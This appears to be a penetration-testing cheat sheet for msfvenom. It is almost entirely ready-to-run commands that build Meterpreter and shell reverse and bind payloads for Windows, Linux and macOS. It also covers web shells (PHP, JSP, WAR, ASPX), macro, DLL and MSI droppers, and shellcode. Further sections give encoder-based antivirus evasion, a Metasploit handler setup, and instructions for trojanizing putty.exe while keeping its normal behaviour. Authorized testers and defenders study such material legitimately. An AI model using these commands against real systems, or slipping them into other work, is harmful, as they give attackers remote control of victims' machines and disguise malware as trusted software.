🌶 MSFVENOM

BASIC SYNTAX#

msfvenom -p PAYLOAD [OPTIONS] -f FORMAT > output

OPTIONS#

-p          Payload to use
-f          Output format
-e          Encoder to use
-i          Encoding iterations
-b          Bad characters to avoid
-a          Architecture (x86, x64)
--platform  Target platform
-o          Output file
-n          NOP sled size
-s          Max payload size
LHOST       Local host (attacker)
LPORT       Local port (attacker)
RHOST       Remote host (target)
RPORT       Remote port (target)

LIST OPTIONS#

msfvenom -l payloads        # List payloads
msfvenom -l encoders        # List encoders
msfvenom -l formats         # List formats
msfvenom -l platforms       # List platforms
msfvenom -l archs           # List architectures

WINDOWS PAYLOADS#

REVERSE SHELLS#

# Meterpreter reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell64.exe

# Meterpreter reverse HTTPS (more stable)
msfvenom -p windows/meterpreter/reverse_https LHOST=IP LPORT=443 -f exe > shell.exe

# Shell reverse TCP (no meterpreter)
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe > shell64.exe

# PowerShell reverse shell
msfvenom -p windows/x64/powershell_reverse_tcp LHOST=IP LPORT=4444 -f raw

BIND SHELLS#

msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe > bind.exe
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe > bind.exe

STAGED VS STAGELESS#

# Staged (smaller, needs handler)
windows/meterpreter/reverse_tcp
windows/shell/reverse_tcp

# Stageless (larger, standalone)
windows/meterpreter_reverse_tcp
windows/shell_reverse_tcp

WEB PAYLOADS#

# ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f aspx > shell.aspx

# ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f asp > shell.asp

# HTA
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f hta-psh > shell.hta

# VBA (for Office macros)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f vba > macro.vba

# VBS
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f vbs > shell.vbs

DLL PAYLOADS#

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f dll > shell.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f dll > shell64.dll

MSI PAYLOADS#

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f msi > shell.msi

LINUX PAYLOADS#

REVERSE SHELLS#

# Meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf > shell64.elf

# Shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf > shell64.elf

BIND SHELLS#

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf > bind.elf

MACOS PAYLOADS#

msfvenom -p osx/x86/shell_reverse_tcp LHOST=IP LPORT=4444 -f macho > shell.macho
msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f macho > shell64.macho

WEB PAYLOADS#

PHP#

msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.php
msfvenom -p php/reverse_php LHOST=IP LPORT=4444 -f raw > shell.php

JSP#

msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.jsp

WAR#

msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war > shell.war

PYTHON#

msfvenom -p python/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.py

SHELLCODE#

RAW SHELLCODE#

# C format
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f c

# Python format
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f python

# PowerShell format
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f powershell

# Hex
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f hex

# Base64
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f base64

ENCODING#

BASIC ENCODING#

# Shikata ga nai (polymorphic)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -e x86/shikata_ga_nai -f exe > shell.exe

# Multiple iterations
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > shell.exe

BAD CHARACTER AVOIDANCE#

# Avoid null bytes
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -b '\x00' -f exe > shell.exe

# Avoid multiple
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -b '\x00\x0a\x0d' -f exe > shell.exe

COMMON ENCODERS#

x86/shikata_ga_nai      # Polymorphic XOR
x86/jmp_call_additive   # Jump/Call/Additive
x86/fnstenv_mov         # fnstenv technique
x64/xor                 # XOR encoder

HANDLER SETUP#

# Metasploit handler
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST IP; set LPORT 4444; exploit"

EVASION TIPS#

# Template injection
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -x putty.exe -f exe > infected.exe

# Keep original behavior
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -x putty.exe -k -f exe > infected.exe

# NOP sled
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -n 50 -f exe > shell.exe

QUICK REFERENCE#

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf
msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f aspx > shell.aspx
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war > shell.war
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe > shell.exe